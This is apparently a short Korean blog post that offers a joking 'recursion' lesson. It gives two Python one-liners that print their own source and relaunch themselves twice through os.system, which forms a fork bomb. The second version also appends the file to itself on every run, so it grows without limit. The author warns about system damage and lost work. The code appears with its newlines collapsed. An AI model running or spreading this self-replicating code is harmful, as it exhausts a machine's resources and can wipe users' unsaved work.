[Python] 파일 입출력으로 재귀를 이해해 보자! (악?성코드)

[Python] 파일 입출력으로 재귀를 이해해 보자! (악?성코드)

태그
python
생성 일시
Jan 19, 2024 08:45 AM
최종 편집 일시
Last updated February 1, 2024
Date
작업관리자를 먼저 키고 실행하는것을 추천 합니다. 작업을 하고 있었다면 저장을 반드시 하기 바랍니다.
신체, 정신, 재산 피해가 발생할 수 있습니다.

다음 파이썬 코드를 실행하면 된다!

with open(__import__('sys').argv[0]) as f: print(*f, sep='') __import__('os').system('py '+__import__('sys').argv[0]) __import__('os').system('py '+__import__('sys').argv[0])
파일 입출력을 통해 재귀가 실행됨을 이해해 봅시다!
실행 결과
notion image
notion image

추가 버전

with open(__import__('sys').argv[0], 'a+') as f: print(*f, sep='') f.seek(0, 0) f.write('\n'+f.read()) __import__('os').system('py '+__import__('sys').argv[0]) __import__('os').system('py '+__import__('sys').argv[0])
실행 결과
notion image